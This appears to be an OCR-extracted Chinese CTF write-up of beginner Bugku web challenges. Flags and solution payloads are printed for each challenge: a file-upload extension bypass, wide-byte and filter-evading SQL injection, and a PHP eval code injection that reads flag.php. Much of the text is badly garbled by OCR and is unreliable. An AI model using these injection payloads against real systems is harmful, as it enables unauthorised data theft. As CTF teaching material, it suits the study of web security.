Writeup - CTF - WEB - 253 F & (123.206.31.85)

weixin 33861800 o F 2017-10-05 14:42:00 K47 o 65 ﬁ e
JE AR httpy//www.cnblogs.com/virgin-forest/p/7629179.html
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= 1086 Solves
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20
QQEE 457277976
flag T S RETRRIE
Key SUBMIT
XANEEmMBESRG T
WEB1flag
KEY{Web-1-bugKhsNN5$231100}
Web2
LAl S| 1700 Solves
Web?2
20

ImRESERRY A BRRERIEIE =
http://120.24.86.145:8002/web2/

Key SUBMIT



https://blog.csdn.net/weixin_33861800
http://www.cnblogs.com/virgin-forest/p/7629179.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_33861800&utm_content=94234013

FTTFRA T, R TR KIS, EEF128EEAE

z" Developer Tools - http://1 5:8002/web2

v ﬂ Elements Console Sources MNetwaork Performance

<html xmlns="http://www.w3.0rg/1999/xhtml" >
* <head»..</head>
¥ cbody id="body" onload="init(}
<!--flag KEY{Web-2-bugksshNNikls2188}-->
<script type="text/javascript” src="js/ThreeCanvas.js">»
<fscript>
<script type="text/javascript” src="js/Snow.js"></script>
F <script type="text/javascript”s.</scripts
» cdiven</dive
</body>
</html>

Memory  Application  Security » @1 A2

Styles | Computed Event Listeners #
Filter thov .cls +

element.style { -
}
body { (index):18

margin: »@;
padding:» @;
position: relative;
background-image:
url{images/xh.dipg);
background-position: » center;
[ backereund repeat: nerepeat:
width: 186%;
height: 188%;
background-size: 188% 1088%;
}
body { user agent stylesheet
display: block;
marginy Spxs

b

position

margin
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http://103.238.227.13:10085/

Flagt&Th @ Flagnoococooonoo

Key SUBMIT

[0 =i EfEiss

G © 102238.227.13:10085
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1, & HEPHPH
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¢  C | ®103238227.13:10085 &

S AR

1. B LEPHPRZ &
2, M HER AR M

FEES | test.php

Ry A% 5 EE T 89 IR B

[ 103.238.227.13:10085 x

< C | ® 103.238.227.13:10085

E2E) g s

TR EHEE A X, MiZRA R E, ik FHburpsuite4iid
Seittest.php i Ja 4 e B A s Hltest.png

C | ® 103.238.227.13:10085
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JF B burpsuite B KX )5 burpsuite3REL R —AMHTTP i iE &

[ o T —
‘, Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry_|

Burp Intruder Repeater Window Help

[Targe{ I Proxy T Spider ]’ Scanner T Intruder ]’ Repeater I Seguencer T Decoder T Comparer ]’ Extender T Project options. T User options TAIerLs ]
J int pt T HTTP history TWehSDckets history T Options ]

#| Request to hitp.//103.238.227.13:10085

l Forward J l Drop J [ Intercept is on ] Action 22| (2

Raw | Params | Headers | Hex
TOST f HTTR/1.1 |A
Host: 102.238 .12:10085 "‘\
. Content-Length: 5011
Cache-Control: max-age=0
Origin: http://103.238.227.13:10085
Tpgrade-Insecure-Regquests: 1
User-Agent: Mozilla/5.0 (Windows NT £.1; Wing4; xE4) AppleWebKits537.3& (FHTML, like Gecko) Chrome/e0.0.3112.90 Safaris/537.3¢6
Content-Type: multipart/form-data; boundary=----WebKitFornBoundaryT¥nblANPZSwgEqzT
Accept: text/html,application/xhtml4xml,application/xml;q=0.9,inage/webp,inage/apng,*/*;q=0.8
Referer: http://l023.238.227.12:10085/
Accept-Encoding: gsip, deflate
Accept-Langquage: zh-CIN,zh;q=0.8
Commection: close /
—————— VebKitFornEoundaryI¥nb lANDEZ SwgBagzT
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: inage/png
O
[u]
OOOTHDROOO OO0 00000000000 pHY=0000000000+0000
MiCCPPhotoshop ICC profile00x08w+O0-0=0VEOOLOO"#0000YOOOO0A000R00
voooouoo
HOO (0AOZ0 80000=00000000000.000% FO<: 000HOOO0HOO 000000000y x~c07000000p0. $0000F<WO O00"0000000. TO0000000
O0O00Lly | E"0O0001>000000000000000 ¢ &0r00° U0,0000@" . 0000YOZ500000vO00e 000,00 S00C0000 LOOOOO_ pO0HO0000030000w00 !0l0a0:0%
0" 00 #0H00L0000000 8 ? 000 £00000 * > | 0000000N00000p00000000kh0 ] 30 o
O0w2000PO<00
000%1:000=0200~0#00=000000 qanvO000E Ln0 #0000 ) 040, 000 P " MO00 ! 000002000 00000000 100000000 @ ~0-000000¢4 200000 @ +00000000 .00 LOOOODO *000000000000 a00 @0+ 0 <0E000 '
O000TO: 00000000001 200000 " 0000 0AO00Oa! :00L0"00000" aH400 O0Q"O0r00030H#0-r0S0E00 e
Z005100000uRE00000040] 00k0000=00aF0c010<0010 f0a*0E " 00&0005V05<0X7+000 a00 § 00000 ~00000-<L:=C0%0£0000W 010' "O00%=00xbL:0xFO&0!0!'0%~ '00 O;000 v
'r-t < + > T 0 matches I
= —

TEburpsuite FIEHTTP #3525 ARepeaterti 2, J7 8 W 22 7 iR [H {5 B
4 Hpng B php

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer E

1 = | ..
Go Cancel < | > |

Request

_[RawT Params T Headers T Hex ]

POST / HITRSL.L1

Host: 103.238.C227.13:10085

Content-Length: 5011

Cache-Control: max-age=0

Origin: http://l03.238.227.13:10085

Mpgrade-Insecure-Requests: 1

Uzer-Agent: Mozillas5.0 (Windows HNT &£.1; Wingd4; x64) AppleWebFit/537.38
(FHTHL, like Gecko) Chrome/60.0.2112.50 Safari/537.326

Content-Type: multipart/form-data;
boundary=-—---WebhFitFornBoundaryITnh 1ANPZSwgBg=T

Aocept:

cext/htwl, application/zhtml+txml , applications/xml;gq=0.9, inacge /webp, inage /ap
o, * S =008

Feferer: http://1l032.2308.227.13:10085/

Aocept-Encoding: gzip, deflate

Aocept-Language: =h-CH,sh:qg=0.8

Comnection: close

—————— WebKitFornEoundaryITnhlANPZSwgBg=T
Content-Disposition: form-data; name="file"; filename="test._png|"
Content-Type: image/png

NG

|

JOOTHDEOOO 000 00000000000 pHYs0000000000+0000
MiCCPPhotoshop ICC profiled0x0Sw+0O0=00VEOD1OO0"#0000YOO00a000200
Toooouoo

FOEFHE B JE TWHIREFLAG



Burp Intruder Repeater Window Help

[Targei Proxy | Spider ]'Scanner T Intruder Tﬂm T Sequencer TDEDDHEF TComuarer ]'F_xiander T Project options. T User options TAlerhs ]

<|v >|v

Go | Cancel

Request

Raw | Params | Headers

Response

Raw | Headers | Hex

Target: http:/103.238.227.13:10085 uJ m

POST / HTTP/L1.1 A

Host: 103.738.7727.13:-10085

Content-Length: 5011

Cache-Control: max-age=0

Origin: http://l03.238.227.13:10085

Upgrade-Insecure-Bequests: 1

User-Agent: Mozillas5.0 (Windows NT £.1; Wing4; x€4) AppleWebKit/537.36
(FHTML, like Gecko) Chrome/e0.0.3112.90 Safari/537.3€

Content-Type: multipart/form-data;
boundary=----TebKitFormBoundaryITnblANDPZSwgBqal

hccept:

text/html, application/zxhtml+xml, application/xml;gq=0.5%, inage /webp, inage/ap
ng, */*rg=0.8

Referer: http://103.238 .1l3:10085/

Aecept-Encoding: gezip, deflate

Aecept-Language: zh-CH,zh;q=0.8

Connection: close

—————— HebKit,FormBDundarleth.ANPZSugquI'

Content-Disposition: form-data; name="file"; filename="test_php"
Content-Type: image/png

ome

o
OOO0THDROOD 000 00000000000

pHYs0O000000000+0000
MiCCPPhotoshop ICC profileO0x0SwxDO0>0e0VEOOLOO"#0000TOOO0A000R00
voooouoo v
Id < + > Type & search term 0 matches

= 1454 Solves

by
H
ITE:
30
Hifk © http://120.24.84.145:8002/yvanzhengma/

Key

HITP/1l.1 Z00 0K

Server: nginx

Date: Thu, 05 Oet 2017 07:02:22 CMT
Content-Type: text/html; charsec=utf-2
Connection: close

Vary: Accept-Encoding

¥-Powered-By: PHP/7.0.7
Content-Length: 37

Flag:42e97d465£962c534£954937Tb513cTe

e

SUBMIT

0 matches

235 bytes | 38 millis




& ‘ @ 120.24.86.145:8002/yanzhengma/

| 76+41=7 | E:d

FEiF:BugKu-ctf

76+41=117 {HERFE B 2 RN — M H L% F12EBFIREAD

¥ <body>
<span id="code" class="code" style="background: rgb(s%, 119,
66); color: rgb(6d, 124, 134);">76+41=2</span>

input type="text" class="input” maxlength="1
<button id="check">¥nif</button>
* cdiv style="text-align:center;”>.</div>
<script src="js/jguery-1.12.3.min.js">»</script>

i memt md drrmm Tk msrk S mirm s, ;i kT mme Td s S madAs ST s e,

RV MERIR S TRAKE BEMAKERATUT

T osDOUy
<span id="code"” class="code"” style="background: rgb{6%, 119,
66); color: rgh(s4, 184, 134),;">76+41=2</span>

input type="text" class="input” maxlength="18
<button id="check" >§ziF</button>

e ‘ (@ 120.24.86.145:8002/yanzhengma/

FEiF:BugKu-ctf



& [ @ 120.24.86.145:8002/yanzhengma/

- 120.24.86.145:8002 B

flag{CTF-bugku-0032}

webZAl$ GET

=B 395 Solves

webEft$_GET
30
http://120.24,86.145:8002/zet/

Key

SUBMIT

BH e &4 HEAY

$what=$_GET[ 'what'];
echo $what;
if($what=="flag")
echo 'flag{****}';

M payload

http://120.24.86.145:8002/get/?what=flag

FREX Flflag

flag{bugku_get_su8kej2en}

webZAil$ POST



=B 339 Solves

webEfH$_POST
30

http://120.24.66.145:3002/post/

Key

SUBMIT

$what=$ POST[ 'what'];
echo $what;
if($what=="Fflag")
echo 'flag{****}';

XM —EERE, RERZ T AAE
Al A S fromEBE R POSTIRAE, 7] LA Hfirefoxihackbug Bl POSTHRAZ
iX B {g Ffirefoxt hackbug i #IPOS TR &2

@ Load URL  http://120.24.86.145:8002/post/
I split URL
) Execute

Enable Post data [ | Enable Referrer
Post data what=flag

$what=$% _POST['what'];

echo $what;

if($what=="flag")

echo "flag{****};
flagflag{bugku_get ssseint67se}

T &



= 332 Solves

30
http://120.24.86.145:8002/get/index1.php

Key

SUBMIT

$num=$_GET[ 'num'];
if(!is_numeric($num))

{

echo $num;
if($num==1)
echo 'Flag{**********}';

}

W ERR, KB fagh &4 AnumT BRI, BRAEST
X B F FIPHP i 55 X R IRR

== AT LRI R, SBK 747 B RAFALRAER, B

=== FEBAT LRI R, SCHBRM FR SRR R TS, B
¥ #payload

http://120.24.86.145:8002/get/index1.php?num=1e0.1

KEL Zlflag

flag{bugku-789-ps-ssdf}

Web3



;B 1372 Solves

Web3
50
flagPliEix B0
http://120.24.86.145:8002/web3/

Key

™ BKCTF-WEB3

SUBMIT

X ‘ @ 120.24.86.145:8002/web3/

120.24.86.145:8002 B
flagtiE=E

X — MR EE AR IR




118
119
120
121
122
123
124
125
126
127
125
129
130
131
132
133

134
135
136
137
135
139
140

alert {"HFEFEIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)
alert ("SEHEFHIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)

alert (“flagffitEixE ") ;

alert ("SEHEFHIE)

<1

i
i
i
i
i
E
alert {"flagffiTEixE ")
i
i
i
i
i
i
i

G#TE GHED GHED  EH123;&%Td GHE0 #1115 &40T GHE2, L0  &40T G#104 68T  &4TE, 845 472 E4E]

DEHAD ERAD  EHTE AT TS ER12E,

<fzoripts
< headr
<Shtml

R P RE T AT 7R &, REFRHR HTML, XML % SGML 3KiE & KI# 751

W8 SUF BIBHEHTMLC A B

. Q{ D:\need\EastUnion\EastUnion\me.html - Notepad++ [Administrator] ,

D ®EOD =220 WAV SEN E=0 BEQ TEQ =M B6R EHe s0Ww 2
[JoHE R Dl oenygxx BRI 1EZEAc® BEDN BB
Eme.htmlml

&#Th:a#60;a#00,6#123;: 6874680068115 6807 6802, 6#50;6#076#104; 68746870 a#45,6#726#083:6#40,6#49:6473;:8#73;687374#125;

FTFFHTMLSC

KEY{l2sa42ah)K-HS11III}

& | @ file:y///D:yneed/EastUnion/EastUnion/me.html

sqliiEA

LAl S| 233 Solves

http://103.238.227.13:10085/

FETCKEY])

Key

SUBMIT




< C ‘G) 103.238.227.13:10083

SQL;FEN M,

EHiflkeyF=, id="183string==E2

1

fdsafdasfdsa

BiTHmMEH £

< C [ (@ 103.238.227.13:10083/%id=1

SQLFEN MR,

EHiflkeyF=, id="183string==E2

1

fdsafdasfdsa

T H 9 58 7T BN

< C [ (@ 103.238.227.13:10083/7id=1%d %27

SQLFEN M,

EHiflkeyE, id=183string=E

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near "1iE" LIMIT 1' at line 1

R #E R~ 1 & payload



http://103.238.227.13:10083/?1id=1%df%27 order
W 7 B #om2

http://103.238.227.13:10083/?1id=1%df%27 union
TR e A A A 7 BB

http://103.238.227.13:10083/?1id=1%df%27 union
RECA R BR . Al BEEAN sqls

RIEE HRE BiERENkey FB Nstring HidFB A1
http://103.238.227.13:10083/?1id=1%df%27 union

by 2%23

select 1,2%23

select 1,database()%23

MRS fpay load
select 1,string from sql5.key where id = 1%23

&«

& ‘@ 103.238.227.13:10083/?id=1%df%27%20union%20select%201,strin... &y {'r| :

SQLIFENM,

EHiflkeyE, id=183string=E

1
fdsafdasidsa
1

24f3320dc2611313ba712eb3f13a1fed

SQLIEA1
= 781 Solves

SQLiEA1L
60
Bk : http://103.238.227.13:10087/

BT TE T T FEERT S

flagt&ThLKEYDhoooooooooonod

Key

SUBMIT




' D SQURRE X & HET Lsi

C | ® 103.238.22713:10087 B

SQLIENMH

THIERED,  %id=x
BT keyfUEEES | id=1{Ehash=E&{E

AT AER—ERE

//iT#Esql
$array = array( table’,'union’,’and’,’'or’, "load_file', 'create’, 'delete’, 'select’, 'update’, 'sleep’,’alter’, 'drop’, truncate’, from’, 'max’, 'min", "orc
foreach ($array as $value)

{

if (substr_count($id, $value) > @)

{
exit("EEHERET! . fvalue);
¥
}
/7 xssitiE

$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

4 »
HEEER

id 1

title title

BEHAHT —BBE SR, KIWESQLIEANFXSSHENT I
SQLIF NT 3Ry, XSSM#Hstrip_tags() R FuT 3

BT — TFstrip_tags()&$11EH

ENHEE

strip_tags() HEEIE=FE0E HTML, XML LR PHP 8952,

R EEESESRE HTML 8. X=aEET allow S8,
iR ERREETHEISEERT.

RIZ R AT DO HTMLE R 285, ZilFH ZRHEA

< C | ® 103.238.227.13:10087/?%d=1%20and%201=1

assEsET ! and

FENE BT U8

< C | ® 103.238.227.13:10087/?%d=1%20a<>nd%201=1

SQL;FEA M,

T 3R [ IE H

SerE KRB A P I AHTMLE &) Seid SQL S -7 Biy 1



F Fstrip_tags()eRF = HHTML LB SQLIEAN

HNE T Easud #EPayload
http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,database()%23
FRHER 2 248 6 F O BB FE s q13

http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key where id =1 %23
SRS

T R

|
/[ sQumkk x W |

< C ‘@ 103.238.227.13:10087/?id=1%20un<>ion%20sel < >ect%201,hash%... Eg {'r| g

SEEE B
id 1
title title
id 1
title ©3d3c17hdcari7o1f8ses$1cc72ar274atdader

PR ANAE T
=B 1175 Solves

R/ BET
60
HEfE © http://120.24.86.145:8002/web12/

{1 : @berTrAM

Key SUBMIT

XM A burpsuite ki iE &, itBlrepeater Bl —H R IX VT EA, i iR Blflag



l. Burp Suite Professional v1.7.11 - Temporary Project - licensed to Lany_l_al_ E@g

Burp Intruder Repeater VWindow Help

[ Target T Proxy T Spider I Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

Go Cancel < v >|r Target: http:/120.24.86.145:3002 | | | 7
Request Response
Raw | Headers | Hex J Raw T Headers | Hex | HTML I Render ]
pET Swebhll/ HTTP/1.1 " <meta charset="utf-8"> "
Host: 120.24_8£.145:800Z2 - “<meta name="wviewport"
Tpgrade-Insecure-Requests: 1 content="width=device-width,
User-Agent: Mozilla/5.0 (Windows NT £.1; Wing4; x£4) AppleWebhKit/537.3& initial-scale=1.0"=>
(FHTHL, like Gecko) Chrome/E0.0.3112.90 Safari/537.36 “<meta name="description" content=""»>
Accept: “meta name="author" content=""=
text/htnl, applicacion/xhtml+xml, applicaction/xml;q=0.9, inage /webp, image /ap <titlerDhummy game</tcitle=
ng, */*;q=0.8 <fheads
Referer: http://1I3.I20&.321.85/challenges
Avcept-Encoding: gzip, deflate <zeript language="JavaScript"s
Accept-Lancguage: zh-CI,zh;qgq=0.8 function myrefreshi){
Comnection: close window.location.reload():
H
zetTimeout { 'myrefresh()' 500);
<fscripts
<hody>
“<centerr<strong*I want to play Dummy game
with others£iBut I can't
gtop!</strong»</centers>
“<center>Stop at panda ! u will get
flag</center>
<center><dive<img
sro="10_Jpg"/fr</fdivr</oenter><hr><a
style="display:none">flag{dwummy_ game_ 1= =0
_popular}</a=</hody>
- < /html >
v ¥
? = + = Type a search term 0 matches ? = + = Type a search term 0 matches
Done 786 bytes | 51 millis
A
= 244 Solves
HEHE ¢ http://120.24.86.145:8003/
Key SUBMIT

T IR




<?php
include "flag.php";
$a = @$_REQUEST[ 'hello'];
eval( "var_dump($a);");
show_source(__FILE_);

?>

KHeval(), HEpayload
http://120.24.86.145:8003/?hello=);print_r(file(%22./flag.php%22));//

FKEL Fflag.php ) A 25

Array ( [@] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag{bug-ctf-gg-99}; [4] => ?>
)

81
= 909 Solves

=
TEl
60
http://120.24.86.145:8004/index1.php

Key SUBMIT

Eag R T
<?php

error_reporting(0);
include "flagl.php";
highlight_file(__file_ );
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/M\w+$/",%args)){
die("args error!");
}
eval("var_dump($$args);");

X B R 42 REEGLOBALS, #4#payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

KRN HEEREENE



array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(@) { } ["_GET"]=> array(l) { ["args"]=> string(7)
"GLOBALS" } ["_COOKIE"]=> array(@) { } ["_FILES"]=> array(@) { } ["ZFkwe3"]=> string(38)
"flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

Web4
80
EEFREE

http://120.24.86.145:8002/ web4/

Key SUBMIT

RER R EFERNE, KAWL

<script>

var pl =

' %66%75%6€%63%74%69%61%6€%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%7 6%61%7 2%20%61%3d%64%6 %6 3%7 5%6d%65%6
e%74%2e%67%65%74%A5%6C%65%6d%65%6e%74%A42%79%A9%64%28%22%70%61%7 3%7 3%77%6T%7 2%64%22%29%3b%69%66%28%22%7 5%6€%6
4%65%66%69%6€%65%64%22%21%3d%74%79%70%65%61%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62 ' ;

var p2 =
'%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6C%75%65%29%7 2%65%74%75%7 2%6€%2
1%30%3b%61%6C%65%72%74%28%22%A5%72%7 2%61%72%22%29%3b%61%2e%66%61%63%75%73%28%29%3b%7 2%65%74%7 5%7 2%6€%21%31%7
d%7d%64%61%63%75%6d%65%6e%74%2e%67%65%74%A5%6 C%65%6d%65%6€%74%A42%7 9%A49%64%28%22%6 C%65%76%65%6C%51%75%65%7 3%7
4%22%29%2e%6T%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b " ;

eval(unescape(pl) + unescape('%35%34%61%61%32"' + p2));

</script>

B URLGRAGIR 35 JavaScriptit & B HHEE —i&

%66%75%6e%63%74%69%61%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%7 2%20%61%3d%64%6%63%75%6d%65%6 €
%74%2e%67%65%74%A5%6C%65%6d%65%6e%74%A2%79%49%64%28%22%70%61%73%7 3%77%6T%7 2%64%22%29%3b%69%66%28%22%7 5%6€%64
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